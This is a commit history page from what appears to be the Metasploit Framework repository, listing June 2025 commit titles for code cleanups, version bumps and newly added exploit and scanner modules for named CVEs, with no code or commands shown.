Compare commits

...

818 Commits

Author SHA1 Message Date
adfoster-r7 256ad33585 Merge pull request #20353 from cgranleese-r7/add-validation-for-arch-values
Add validation for arch values
2025-06-25 17:13:01 +01:00
cgranleese-r7 00c88caffb Updates incorrect arch values in modules 2025-06-25 16:57:27 +01:00
cgranleese-r7 a9a8ac7762 Adds validation for arch values 2025-06-25 16:57:23 +01:00
adfoster-r7 bbcac720e5 Merge pull request #20351 from cgranleese-r7/fix-non-printable-chars-in-module-description-and-name
Fix non-printable non-ascii chars in module description and name
2025-06-25 15:39:59 +01:00
cgranleese-r7 04a18fb3ca Updates modules to remove non-printable chars 2025-06-25 14:19:56 +01:00
cgranleese-r7 64504319e6 Updates module validation to check description and name for non-printable chars 2025-06-25 14:19:43 +01:00
Diego Ledda fda250d604 Merge pull request #19910 from msutovsky-r7/fix/add-PPC64-template
Fixing PPC64 template and payloads
2025-06-25 12:33:39 +02:00
msutovsky-r7 fde78bf73f Land #20324, adds exploit for UNC path in .url files (CVE-2025-33053)
Adds exploit module for Internet Shortcut UNC path vulnerability (CVE-2025-33053)
2025-06-25 11:23:23 +02:00
Diego Ledda 6d843385ec Merge pull request #20301 from msutovsky-r7/exploit/cve-2021-25094
Adds module for Tatsu WP plugin (CVE-2021-25094)
2025-06-25 10:58:22 +02:00
adfoster-r7 f91f525e1e Merge pull request #20350 from cgranleese-r7/adds-sentinel-values-to-modules-missing-one-or-more-notes
Adds sentinel notes to modules that are missing stability, reliability or side effects
2025-06-25 09:50:09 +01:00
cgranleese-r7 40ca2b3b1b Adds sentinel notes to modules that are missing stability, reliability or side effects 2025-06-25 09:32:01 +01:00
Diego Ledda afdad8ed4c chore(wp_tatsu_rce): msftidy_docs fix 2025-06-25 10:16:49 +02:00
adfoster-r7 82018b6c52 Merge pull request #20343 from cgranleese-r7/adds-sentinel-vales-to-modules-without-notes
Adds sentinel values to modules without notes
2025-06-25 09:12:31 +01:00
DevBuiHieu e198cf635f Merge pull request #2 from msutovsky-r7/collab/webdav_working_dir_exploit
Minor code changes, updates documentation
2025-06-24 21:43:43 +07:00
Martin Sutovsky 13cd2d2e51 Minor code changes, updates documentation 2025-06-24 16:22:42 +02:00
msutovsky-r7 a67c883e0c Removes unnecessary header
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-06-24 15:48:38 +02:00
Spencer McIntyre 12245519f5 Merge pull request #20206 from adfoster-r7/update-mettle
Update mettle 1.0.42
2025-06-24 08:49:25 -04:00
DevBuiHieu fa0d01f55c Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-24 19:24:06 +07:00
DevBuiHieu 78f982e133 Merge pull request #1 from msutovsky-r7/collab/webdav_working_dir_exploit
Internet Shortcut UNC Module Upgrade
2025-06-24 18:33:19 +07:00
cgranleese-r7 30c15535b4 Adds a check to skip modules with execellent ranking and sentinel values 2025-06-24 12:13:08 +01:00
cgranleese-r7 a454217bd4 Update info -d markdown 2025-06-24 11:21:49 +01:00
Martin Sutovsky dd6bb2c8dc Remove debug statements 2025-06-24 12:10:46 +02:00
Martin Sutovsky 3d9cc6063d Adds SMB server to send payload 2025-06-24 12:10:19 +02:00
Martin Sutovsky 6aa24a0762 Adds researchers in author section, base for WebDAV server 2025-06-23 15:38:09 +02:00
cgranleese-r7 37388ca1be Adds sentinel values to modules missing notes 2025-06-23 12:24:58 +01:00
adfoster-r7 0972888802 Update Mettle 1.0.42 2025-06-23 11:58:29 +01:00
adfoster-r7 4c4a864b06 Merge pull request #20326 from 00nx/patch-1
Add total number of currently defined aliases
2025-06-23 11:28:02 +01:00
adfoster-r7 be8864fe84 Merge pull request #20339 from bcoles/exploit-windows-fileformat-ms_visual_basic_vbp
exploit/windows/fileformat/ms_visual_basic_vbp: Add offsets, cleanup, document
2025-06-23 10:41:14 +01:00
cgranleese-r7 b16732c3bf Updates enforce notes rubocop rule to add notes to modules that are missing notes 2025-06-23 10:40:02 +01:00
adfoster-r7 8c2d0f50bc Merge pull request #20342 from cgranleese-r7/runs-trailing-comma-in-arguements-rubocop-on-modules
Runs Style/TrailingCommaInArguments Rubocop against modules
2025-06-23 10:02:57 +01:00
cgranleese-r7 ade9b54d94 Runs Style/TrailingCommaInArguments Rubocop against modules 2025-06-23 09:30:35 +01:00
msutovsky-r7 b37b6487e3 Land #20340, adds documentation and cleans up exploit/windows/browser/ms08_070_visual_studio_msmask
exploit/windows/browser/ms08_070_visual_studio_msmask: Cleanup and add documentation
2025-06-23 08:05:22 +02:00
adfoster-r7 51e71dc754 Merge pull request #20332 from todb/update-module-counter
Update module counter
2025-06-22 23:13:32 +01:00
bcoles e1dec29ef9 exploit/windows/browser/ms08_070_visual_studio_msmask: Cleanup and add documentation 2025-06-23 00:38:44 +10:00
bcoles c0baf1888b exploit/windows/fileformat/ms_visual_basic_vbp: Add offsets, cleanup, document 2025-06-23 00:11:54 +10:00
adfoster-r7 b8c375d087 Merge pull request #20337 from bcoles/exploit-linux-http-opentsdb_key_cmd_injection
opentsdb_key_cmd_injection: Set Arch to ARCH_CMD
2025-06-22 14:51:04 +01:00
adfoster-r7 17125b492a Merge pull request #20335 from bcoles/rubocop-Lint/DetectMetadataTrailingLeadingWhitespace
Rubocop: Lint/DetectMetadataTrailingLeadingWhitespace: Except BadChars
2025-06-22 14:36:07 +01:00
bcoles cede07596f opentsdb_key_cmd_injection: Set Arch to ARCH_CMD 2025-06-22 12:39:04 +10:00
bcoles 8ab259122e Land #20336: opennms_horizon_authenticated_rce: Set Arch to ARCH_CMD 2025-06-22 12:31:22 +10:00
Ahmed Ezzat 0307bab692 Update opennms_horizon_authenticated_rce.rb
Fix Arch
2025-06-21 20:37:33 +03:00
bcoles e65532a7fc Rubocop: Lint/DetectMetadataTrailingLeadingWhitespace: Except BadChars 2025-06-21 21:31:33 +10:00
Tod Beardsley 81cb85eef0 Make msfbase actually do something useful
Signed-off-by: Tod Beardsley <todb@hugesuccess.org>
2025-06-20 13:05:11 -05:00
Tod Beardsley 21e093a41f Slightly better module popularity counter
Signed-off-by: Tod Beardsley <todb@hugesuccess.org>
2025-06-20 12:41:08 -05:00
adfoster-r7 04a6185f3a Merge pull request #20329 from cgranleese-r7/runs-layout-rubocop-on-modules
Runs Rubocop to fix layout in modules
2025-06-20 16:59:31 +01:00
cgranleese-r7 a4b14d8b64 Runs Rubocop to fix layout in modules 2025-06-20 15:18:01 +01:00
adfoster-r7 7208c10f37 Merge pull request #20330 from cgranleese-r7/fixes-conditional
Fixes issues in a few modules
2025-06-20 15:09:49 +01:00
cgranleese-r7 42f31c0fce Fixes some conditionals in modules 2025-06-20 14:57:03 +01:00
Martin Sutovsky 2122a34514 Removes overlooked file 2025-06-20 12:54:30 +02:00
adfoster-r7 b0dbe03544 Merge pull request #20315 from cgranleese-r7/adds-rubocop-rule-to-detect-module-metadata-whitespace
Adds Rubocop rule to detect leading/trailing whitespace in module metadata
2025-06-20 00:22:42 +01:00
adfoster-r7 6d897eaeac Merge pull request #20327 from cgranleese-r7/update-vulns-command
Update `vulns` command
2025-06-20 00:21:51 +01:00
Martin Sutovsky be394b7062 Adding PPC64 template, fixing PPC64 single payloads 2025-06-19 17:23:15 +02:00
Martin Sutovsky 00852f4682 Adding PPC64 template, fixing PPC64 single payloads 2025-06-19 17:17:19 +02:00
cgranleese-r7 65ed80f5b0 Add flag to vuln command to show vuln attempts 2025-06-19 16:06:25 +01:00
DevBuiHieu dd51952b67 Update cve_2025_33053.rb 2025-06-19 21:32:34 +07:00
cgranleese-r7 9eef0cf13f Adds Rubocop rule to detect leading/trailing whitespace in module metadata 2025-06-19 15:10:27 +01:00
DevBuiHieu f3c4d9519f Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:57:08 +07:00
DevBuiHieu a0f1b0c5b3 Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:53:49 +07:00
DevBuiHieu efc0c2539d Update cve_2025_33053.rb 2025-06-19 19:53:22 +07:00
DevBuiHieu 600ffdb9b9 Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:44:35 +07:00
DevBuiHieu 4fde40a96b Update modules/exploits/windows/fileformat/cve_2025_33053.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-19 19:43:56 +07:00
Diego Ledda c0dfbf43f2 Merge pull request #20235 from Chocapikk/vbulletin_replace_ad_template_rce
vBulletin replaceAdTemplate Remote Code Execution
2025-06-19 14:20:16 +02:00
Metasploit 5ff0588554 Bump version of framework to 6.4.71 2025-06-19 03:33:21 -05:00
trauma b1e1fbcc97 alias.rb 2025-06-18 21:43:11 +05:30
DevBuiHieu 1d27be2c1d Final code for CVE-2025-33053 exploit module 2025-06-18 03:53:08 -04:00
DevBuiHieu ec5ba0bd0d Final code for CVE-2025-33053 exploit module 2025-06-17 23:03:36 -04:00
DevBuiHieu 20b8a9fcd3 Add some features and fix bugs for CVE-2025-33053 exploit module 2025-06-17 22:59:34 -04:00
DevBuiHieu 58609f3ff9 Add some features and fix bugs for CVE-2025-33053 exploit module 2025-06-17 22:32:57 -04:00
DevBuiHieu cb7badbfad Add some features and fix bugs for CVE-2025-33053 exploit module 2025-06-17 21:41:44 -04:00
DevBuiHieu fda69e0a74 Add some features and fix all errors for CVE-2025-33053 exploit module 2025-06-17 11:15:09 -04:00
dwelch-r7 ab2c693f04 Merge pull request #20320 from rapid7/revert-20109-rails-7.2-upgrade
Revert "Bump rails version to 7.2"
2025-06-17 12:25:03 +01:00
adfoster-r7 fb02b4ade5 Revert "Bump rails version to 7.2" 2025-06-17 12:20:49 +01:00
adfoster-r7 04c368f9de Merge pull request #20109 from dwelch-r7/rails-7.2-upgrade
Bump rails version to 7.2 [WIP]
2025-06-17 10:43:11 +01:00
DevBuiHieu 20629fe6b8 Add some features and fix all errors for CVE-2025-33053 exploit module 2025-06-17 02:49:10 -04:00
DevBuiHieu 9e5dd0962a Add some features and delete old files for CVE-2025-33053 exploit module 2025-06-17 01:32:07 -04:00
DevBuiHieu 7ad7c62f03 Add some features and delete old files for CVE-2025-33053 exploit module 2025-06-17 01:20:09 -04:00
DevBuiHieu 540d18126d Add some features and delete old files for CVE-2025-33053 exploit module 2025-06-17 01:11:16 -04:00
DevBuiHieu f81ddf82f1 Add some features for CVE-2025-33053 exploit module 2025-06-17 01:00:35 -04:00
adfoster-r7 a02dff9bb5 Merge pull request #20302 from dwelch-r7/enable-defer-module-loads
Enable defer module loads by default
2025-06-16 11:02:31 +01:00
jenkins-metasploit 580e2b3211 automatic module_metadata_base.json update 2025-06-15 21:50:54 +00:00
adfoster-r7 97b84b033f Merge pull request #20309 from bcoles/rubocop-modules-exploits-linux-samba
modules/exploits/linux/samba: Resolve RuboCop violations
2025-06-15 22:42:56 +01:00
adfoster-r7 ed2d6cdda6 Merge pull request #20312 from bcoles/rubocop-lib-msf-module-platform_list
Msf::Module::PlatformList: Resolve RuboCop violations
2025-06-15 22:37:53 +01:00
bcoles 682a4b46e0 Msf::Module::PlatformList: Resolve RuboCop violations 2025-06-15 23:27:50 +10:00
adfoster-r7 b0ef381e02 Merge pull request #20313 from bcoles/rubocop-Style/FormatStringToken
Rubocop: Disable Style/FormatStringToken
2025-06-15 13:00:11 +01:00
bcoles 52010861b6 Rubocop: Disable Style/FormatStringToken 2025-06-15 16:31:16 +10:00
bcoles 91d3675c3b modules/exploits/linux/samba: Resolve RuboCop violations 2025-06-15 00:09:09 +10:00
DevBuiHieu 98389f2889 Add module documentation for CVE-2025-33053 URL generator 2025-06-13 20:35:38 -04:00
DevBuiHieu 1846aca52e Add auxiliary module for CVE-2025-33053 .url file generator 2025-06-13 11:15:29 -04:00
DevBuiHieu d3145f792e Add auxiliary module for CVE-2025-33053 .url file generator 2025-06-13 11:14:04 -04:00
DevBuiHieu 9d52a2b11c Add auxiliary module for CVE-2025-33053 .url file generator 2025-06-13 20:02:45 +07:00
Martin Sutovsky 4fe750a946 Removing redundant comment 2025-06-13 10:33:58 +02:00
Martin Sutovsky 3abe9b46c0 Addressing comments 2025-06-13 10:32:39 +02:00
Dean Welch 39356d55e0 Fix migration date issues when running tests 2025-06-12 16:41:10 +01:00
Dean Welch 4c2eeee4a7 Remove debug output 2025-06-12 16:41:10 +01:00
Dean Welch 62f357207c Minor bug fixes 2025-06-12 16:41:10 +01:00
Dean Welch 640d992519 Add rpc debugging 2025-06-12 16:41:10 +01:00
Dean Welch b87ef99cd8 Bump rails version to 7.2 2025-06-12 16:41:10 +01:00
jenkins-metasploit b39d45c205 automatic module_metadata_base.json update 2025-06-12 14:03:39 +00:00
adfoster-r7 e4feb4f581 Merge pull request #20305 from cgranleese-r7/fix-duplicate-notes
Fixes duplicate notes in a couple of modules
2025-06-12 14:55:19 +01:00
cgranleese-r7 1c72a3adc3 Fixes duplicate notes in a couple of modules 2025-06-12 14:32:12 +01:00
jenkins-metasploit 86a321f53d automatic module_metadata_base.json update 2025-06-12 13:30:27 +00:00
msutovsky-r7 663cf4af24 Land #20303, resolves Rubocop violations in modules/exploits/linux/postgres
modules/exploits/linux/postgres: Resolve RuboCop violations
2025-06-12 15:20:05 +02:00
msutovsky-r7 b8dff5e701 Land #20304, resolves Rubocop violations in modules/exploits/linux/pptp
modules/exploits/linux/pptp: Resolve RuboCop violations
2025-06-12 15:13:29 +02:00
bcoles bf68b56f88 modules/exploits/linux/pptp: Resolve RuboCop violations 2025-06-12 21:14:25 +10:00
bcoles e0e5e4157a modules/exploits/linux/postgres: Resolve RuboCop violations 2025-06-12 21:03:41 +10:00
Dean Welch 32b978d768 Enable defer module loads by default 2025-06-12 10:59:54 +01:00
msutovsky-r7 2e3b66612b Update modules/exploits/multi/http/wp_tatsu_rce.rb 2025-06-12 11:38:01 +02:00
msutovsky-r7 cb9f5e8743 Update modules/exploits/multi/http/wp_tatsu_rce.rb 2025-06-12 11:35:01 +02:00
Metasploit 7e88b53da1 Bump version of framework to 6.4.70 2025-06-12 04:04:12 -05:00
jenkins-metasploit 52c5343ff7 automatic module_metadata_base.json update 2025-06-11 21:32:04 +00:00
adfoster-r7 3f69bcb3c9 Merge pull request #20300 from zeroSteiner/fix/mod/smb-version/win-ver
Fix a regression in Windows version fingerprinting
2025-06-11 22:23:57 +01:00
Martin Sutovsky 0b2e4bc337 Adds module for CVE-2021-25094 2025-06-11 19:03:00 +02:00
Spencer McIntyre 8efbfc0608 Fix a regression in Windows version fingerprinting 2025-06-11 11:56:56 -04:00
jenkins-metasploit 35f770997a automatic module_metadata_base.json update 2025-06-11 08:57:20 +00:00
msutovsky-r7 f2920f868a Land #20291, adds Roundcube post-authentication RCE (CVE-2025-49113)
Add Remote for Roundсube CVE-2025-49113 post-authentication RCE module
2025-06-11 10:48:58 +02:00
Maksim Rogov 582e32c14e remove timeout 2025-06-11 11:05:33 +03:00
jenkins-metasploit ac6402993f automatic module_metadata_base.json update 2025-06-11 05:39:50 +00:00
msutovsky-r7 a175e89d07 Land #20299, converts DisableNops to Boolean
Modules: Convert DisableNops property to Boolean in several modules
2025-06-11 07:31:53 +02:00
jenkins-metasploit db022164de automatic module_metadata_base.json update 2025-06-10 16:23:06 +00:00
msutovsky-r7 1ad158cd4c Land #20297, converts Privileged property to Bool
Modules: Convert Privileged property to Boolean in several modules
2025-06-10 18:15:16 +02:00
bcoles 3272ee0f28 Modules: Convert DisableNops property to Boolean in several modules 2025-06-10 23:57:52 +10:00
jenkins-metasploit f122e72feb automatic module_metadata_base.json update 2025-06-10 13:36:04 +00:00
adfoster-r7 4e41af23b5 Merge pull request #20296 from bcoles/rubocop-modules-exploits-linux-ftp
modules/exploits/linux/ftp: Resolve RuboCop violations
2025-06-10 14:27:45 +01:00
bcoles 304de9e1c9 Modules: Convert Privileged property to Boolean in several modules 2025-06-10 23:01:52 +10:00
bcoles f95f5c928e modules/exploits/linux/ftp: Resolve RuboCop violations 2025-06-10 22:36:46 +10:00
Maksim Rogov 8fe5c91801 fix parsing.rb 2025-06-10 14:29:39 +03:00
Maksim Rogov 10ab54369d Update modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-10 14:18:44 +03:00
Maksim Rogov 97c493a924 Update modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-10 14:17:55 +03:00
Vognik d764237230 migrated to nokogiri methods for csrf token parsing 2025-06-10 14:54:09 +04:00
Maksim Rogov 5725e6faf7 Apply suggestions from code review
Co-authored-by: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com>
2025-06-10 11:09:05 +03:00
jenkins-metasploit b6ed7f0970 automatic module_metadata_base.json update 2025-06-09 21:19:34 +00:00
adfoster-r7 899840c208 Merge pull request #20295 from bwatters-r7/fix/thinmanager-spaces
Fix some spacing issues
2025-06-09 22:11:25 +01:00
Maksim Rogov ed643c3bc6 Update roundcube_auth_rce_cve_2025_49113.md 2025-06-09 18:42:52 +03:00
Vognik 072ebafbcf fix naming 2025-06-09 19:32:31 +04:00
Vognik 46a36c9d4c refactor: update code per review 2025-06-09 19:28:38 +04:00
bwatters-r7 b1d5319fcb Fix some spacing inssues 2025-06-09 09:17:11 -05:00
jenkins-metasploit 12d4527bdc automatic module_metadata_base.json update 2025-06-09 13:46:50 +00:00
Spencer McIntyre 6f7064f8f0 Merge pull request #20293 from Chocapikk/easter-egg
Add Mr. Robot Easter egg
2025-06-09 09:37:49 -04:00
jenkins-metasploit b7f381d8b1 automatic module_metadata_base.json update 2025-06-09 12:50:23 +00:00
Brendan ebae201198 Merge pull request #20160 from zeroSteiner/feat/mod/payload/php-adapters
Add PHP adapters and refactor PHP payloads
2025-06-09 07:41:50 -05:00
jenkins-metasploit 5d61c5271e automatic module_metadata_base.json update 2025-06-08 14:11:56 +00:00
msutovsky-r7 f20e72b6c8 Land #20256, adds RCE module for Remote For Mac 2025.7
Add Remote for Mac 2025.6 unauthenticated RCE module
2025-06-08 16:03:58 +02:00
jenkins-metasploit dbefbe0296 automatic module_metadata_base.json update 2025-06-08 13:57:36 +00:00
msutovsky-r7 3e1bca072a Land #20290, fixes space in CVE number
Fix errant space in CVE number
2025-06-08 15:48:58 +02:00
Martin Sutovsky 6105b99465 Fixed response parsing 2025-06-08 15:36:37 +02:00
Martin Sutovsky 16541d9f64 Fixes notes 2025-06-08 12:17:58 +02:00
Martin Sutovsky c9713a7184 Code reformat, rubocoping 2025-06-08 12:06:33 +02:00
Maksim Rogov 01f16ea802 Minor Fixes.rb 2025-06-08 12:47:08 +03:00
Maksim Rogov c63649a12d Update roundcube_auth_rce_cve_2025_49113.rb 2025-06-08 01:21:31 +03:00
Vognik f43e8863ad refactor: update code per review 2025-06-08 02:14:53 +04:00
Maksim Rogov 442b5aadf3 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-06-07 23:26:03 +03:00
adfoster-r7 18c21f1ea6 Merge pull request #20170 from bcoles/msf-module-uuid
Msf::Module::UUID: Generate UUID using UUID_CHARS.sample(8).join
2025-06-07 19:59:55 +01:00
root 8b1113d225 Update: Improved RCE detection logic and payload options for Remote for Mac 2025.6 2025-06-07 17:52:45 +01:00
Chocapikk ff802129c1 Add Mr. Robot Easter egg 2025-06-07 17:55:17 +02:00
bcoles ffcc145ccc Msf::Module::UUID: Generate UUID using UUID_CHARS.sample(8).join 2025-06-08 00:24:27 +10:00
bcoles aed00d1ff7 Msf::Module: Lazy-load module instance UUID 2025-06-08 00:15:04 +10:00
Maksim Rogov d97b09a898 Rename roundcube_unauth_rce_cve_2025_49113.md to roundcube_auth_rce_cve_2025_49113.md 2025-06-07 16:46:30 +03:00
Maksim Rogov 0426d3cb4f Rename roundcube_unauth_rce_cve_2025_49113.rb to roundcube_auth_rce_cve_2025_49113.rb 2025-06-07 16:14:28 +03:00
Maksim Rogov 906ba4fba2 Update roundcube_unauth_rce_cve_2025_49113.rb 2025-06-07 13:58:37 +03:00
Maksim Rogov bd811a3cd1 Update roundcube_unauth_rce_cve_2025_49113.md 2025-06-07 04:45:54 +03:00
Vognik a4638ad632 Update Documentation 2025-06-07 05:35:18 +04:00
Vognik 96d7929972 Add Documentation for Roundcube CVE-2025-49113 unauthenticated RCE module 2025-06-07 05:28:45 +04:00
Vognik b83b021445 Add Remote for Roundcube CVE-2025-49113 unauthenticated RCE module 2025-06-07 05:28:21 +04:00
bwatters-r7 8f2b364e7b Fix errant space in CVE number 2025-06-06 10:06:21 -05:00
jenkins-metasploit d553aa6f0d automatic module_metadata_base.json update 2025-06-06 12:45:11 +00:00
msutovsky-r7 0f522220d4 Land #20072, adds Maldoc in PDF fileformat module
Add Maldoc in PDF polyglot fileformat module
2025-06-06 14:36:24 +02:00
msutovsky-r7 ab57ec105a Land #20264, adds processing of KERB-SUPERSEDED-BY-USER error message
Process and propagate KERB-SUPERSEDED-BY-USER error details
2025-06-06 13:59:09 +02:00
jenkins-metasploit e3206fb88a automatic module_metadata_base.json update 2025-06-05 21:52:28 +00:00
Spencer McIntyre a1e3a23eb4 Merge pull request #20262 from bwatters-r7/fix/vcenter_vmdir_gather
Fix references to LDAP Datastore Options
2025-06-05 17:44:21 -04:00
bwatters-r7 02a9eb3233 Update rescue clauses and rubocop 2025-06-05 16:33:42 -05:00
jenkins-metasploit 56dbd91168 automatic module_metadata_base.json update 2025-06-05 17:16:15 +00:00
Spencer McIntyre 66a9f332b1 Merge pull request #20283 from cdelafuente-r7/fix/20249/ldap/certifried
Fix the cve_2022_26923_certifried module after the datastore option changes
2025-06-05 13:08:06 -04:00
jenkins-metasploit e7bde75f57 automatic module_metadata_base.json update 2025-06-05 16:11:11 +00:00
Brendan 19e8e6cdf8 Merge pull request #20187 from Chocapikk/wp_ottokit
Add CVE-2025-27007 in existing `exploit(multi/http/wp_suretriggers_auth_bypass)` module
2025-06-05 11:03:00 -05:00
Spencer McIntyre 0a280ae800 Merge pull request #19996 from hantwister/patch-1
Detect the CxUIUSvcChannel named pipe
2025-06-05 11:56:50 -04:00
adfoster-r7 2042fa6f27 Merge pull request #20288 from bcoles/rubocop-Style/RedundantParentheses
Rubocop: Disable Style/RedundantParentheses
2025-06-05 16:20:26 +01:00
jenkins-metasploit a18d284fb4 automatic module_metadata_base.json update 2025-06-05 15:18:07 +00:00
Brendan cc98ef58d4 Merge pull request #20140 from h4x-x0r/CVE-2023-2915
ThinManager Path Traversal Delete (CVE-2023-2915) Module
2025-06-05 10:08:42 -05:00
Spencer McIntyre 602212fe9c Merge pull request #20282 from SweilemCodes/docs/Jenkins_enum
Jenkins Enum Documentation Added
2025-06-05 10:50:39 -04:00
Spencer McIntyre 166db38e67 Add missing newlines to render the markdown properly 2025-06-05 10:49:47 -04:00
bcoles 7df255f4cd Rubocop: Disable Style/RedundantParentheses 2025-06-06 00:27:20 +10:00
Metasploit f2b2fe4f60 Bump version of framework to 6.4.69 2025-06-05 05:56:26 -05:00
Metasploit 7434581e1c Bump version of framework to 6.4.68 2025-06-05 04:47:54 -05:00
h4x-x0r 2425eb08d2 Update thinmanager_traversal_delete.rb 2025-06-05 02:57:40 +01:00
jenkins-metasploit 958ae5b87e automatic module_metadata_base.json update 2025-06-04 21:56:31 +00:00
Brendan 312d052a5c Merge pull request #20141 from h4x-x0r/CVE-2023-2917
ThinManager Path Traversal Upload (CVE-2023-2917) Module
2025-06-04 16:48:39 -05:00
jenkins-metasploit bd5d47034e automatic module_metadata_base.json update 2025-06-04 19:11:19 +00:00
Brendan 2a7f40dcc9 Merge pull request #20139 from h4x-x0r/CVE-2023-27856
ThinManager Path Traversal Download (CVE-2023-27856) Module
2025-06-04 14:03:21 -05:00
h4x-x0r 53145d7a65 Update thinmanager_traversal_download.rb 2025-06-04 19:18:43 +01:00
jenkins-metasploit bd8eadb3aa automatic module_metadata_base.json update 2025-06-04 17:49:24 +00:00
Brendan 10d443d5d9 Merge pull request #20138 from h4x-x0r/CVE-2023-27855
ThinManager Path Traversal Upload (CVE-2023-27855) Module
2025-06-04 12:41:34 -05:00
jenkins-metasploit 856eb18434 automatic module_metadata_base.json update 2025-06-04 14:21:27 +00:00
Brendan 8e4890fbc0 Merge pull request #20286 from msutovsky-r7/fix/add_priority_udev_persistence
Adds different udev rule naming for udev persistence
2025-06-04 09:08:49 -05:00
Brendan 26156dfac2 Merge pull request #20265 from remmons-r7/cve_2025_4427_4428
Exploit module for CVE-2025-4427/CVE-2025-4428 - Ivanti EPMM (AKA MobileIron Core) Authentication Bypass to EL Injection
2025-06-04 09:05:04 -05:00
remmons-r7 97f308386b Update documentation/modules/exploit/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.md
Update docs to reflect the new Python payload approach

Co-authored-by: Brendan <bwatters@rapid7.com>
2025-06-04 08:30:11 -05:00
Martin Sutovsky f7fd84b82d Adds different approach to udev rule naming 2025-06-04 15:24:43 +02:00
adfoster-r7 66c1dac7c6 Merge pull request #20277 from adfoster-r7/update-ruby-3.2.8
Update ruby version 3.2.8
2025-06-04 13:52:44 +01:00
jenkins-metasploit 99a616e657 automatic module_metadata_base.json update 2025-06-04 11:28:53 +00:00
msutovsky-r7 5fbf46ba7f Land #19472, adds exploits/linux/local/udev_persistence
Add modules/exploits/linux/local/udev_persistence.rb
2025-06-04 13:21:04 +02:00
Martin Sutovsky 6806385292 Update 2025-06-04 12:56:51 +02:00
Martin Sutovsky 0d31440722 Update the module 2025-06-04 12:19:36 +02:00
Christophe De La Fuente b488403c73 Fix cve_2022_26923_certifried module after the datastore option changes 2025-06-04 11:22:26 +02:00
RAMELLA Sébastien 144cfd2d42 Update maldoc_in_pdf_polyglot.rb 2025-06-04 12:33:22 +04:00
RAMELLA Sébastien b9731f8907 Update modules/auxiliary/fileformat/maldoc_in_pdf_polyglot.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-06-04 12:30:09 +04:00
Theo Sweilem ff78d179a3 Edited jenkins_enum Documentation 2025-06-03 23:36:13 -07:00
msutovsky-r7 257f6dbbe1 Land #20263, adds registration of VulnAttempts for Exploit/Auxiliary modules
Register VulnAttempts for both Exploit and Auxiliary modules
2025-06-04 08:27:17 +02:00
Theo Sweilem ac4e574eea Added jenkins_enum Documentation 2025-06-03 23:25:15 -07:00
jenkins-metasploit 3b67e551ce automatic module_metadata_base.json update 2025-06-03 20:42:08 +00:00
Spencer McIntyre da97d5c2b3 Merge pull request #20281 from JohannesLks/fix(post/windows/manage/remove_host--hard-coded-hosts-file-path-causes-failure-when-%SystemRoot%-=!-C--Windows)
post/windows/manage/remove_host: resolve hosts-file path dynamically instead of hard-coded C:\Windows
2025-06-03 16:34:23 -04:00
remmons-r7 6c8394ca00 Merge pull request #3 from bwatters-r7/collab/20265
Switch to in-memory python over fetch payloads
2025-06-03 13:47:19 -05:00
bwatters-r7 17bf77fca1 Switch to in-memory python over fetch payloads 2025-06-03 13:39:01 -05:00
Lukas Johannes Möller 39bbf4ba05 fix #20280 2025-06-03 19:51:16 +02:00
jenkins-metasploit c23c848d2e automatic module_metadata_base.json update 2025-06-03 17:15:02 +00:00
Simon Janusz 1e98d3ffca Merge pull request #20218 from jheysel-r7/fix/crawler_canonicalize_method
Improve canonicalize method in msfcrawler.rb
2025-06-03 18:07:07 +01:00
jenkins-metasploit f45e08097c automatic module_metadata_base.json update 2025-06-03 16:54:38 +00:00
Simon Janusz d497156f84 Merge pull request #20258 from zeroSteiner/fix/issue/20251
Update the ldap options for shadow credentials
2025-06-03 17:45:18 +01:00
Simon Janusz 043f8cb6b4 Merge pull request #20260 from zeroSteiner/fix/issue/20252
Update the ldap/change_password module
2025-06-03 17:44:26 +01:00
Spencer McIntyre 3057f80a1b Update the ldap options for shadow credentials 2025-06-03 12:29:04 -04:00
jenkins-metasploit dd166b4d49 automatic module_metadata_base.json update 2025-06-03 14:03:03 +00:00
Spencer McIntyre 2476ce52d8 Merge pull request #20273 from JohannesLks/fix/post-windows-manage-remove-host-20157
fix(post/windows/manage/remove_host): handle whitespace parsing robustly
2025-06-03 09:55:06 -04:00
Spencer McIntyre c4f2b9e070 Merge pull request #20278 from cdelafuente-r7/fix/spec/krb5_ccache_presenter
Fix krb5_ccache_presenter specs
2025-06-03 09:37:11 -04:00
Christophe De La Fuente adecc23728 Set time to localtime 2025-06-03 14:35:44 +02:00
Christophe De La Fuente f5161ea9e1 Code Review 2025-06-03 14:27:20 +02:00
adfoster-r7 da9b9ca64d Update ruby version 3.2.8 2025-06-03 11:20:13 +01:00
Lukas Johannes Möller d9e96f91ca see https://github.com/rapid7/metasploit-framework/pull/20273#issuecomment-2932671250 2025-06-03 11:21:07 +02:00
jenkins-metasploit ae1db09f32 automatic module_metadata_base.json update 2025-06-03 07:53:41 +00:00
cgranleese-r7 d8c7c5049d Merge pull request #19900 from jvoisin/aka_equationgroup
Add Notes->AKA for EquationGroup codenames
2025-06-03 08:45:54 +01:00
jenkins-metasploit 4836243f1a automatic module_metadata_base.json update 2025-06-02 22:06:52 +00:00
Spencer McIntyre 18fbf3d656 Merge pull request #20275 from msutovsky-r7/fix/sap_router_info_failure
Fixes bug in auxiliary/scanner/sap/sap_router_info_request
2025-06-02 17:57:39 -04:00
Julien Voisin 486390d881 Update ms10_061_spoolss.rb 2025-06-02 20:45:44 +02:00
Julien Voisin e39b400bb8 Update modules/auxiliary/dos/smtp/sendmail_prescan.rb
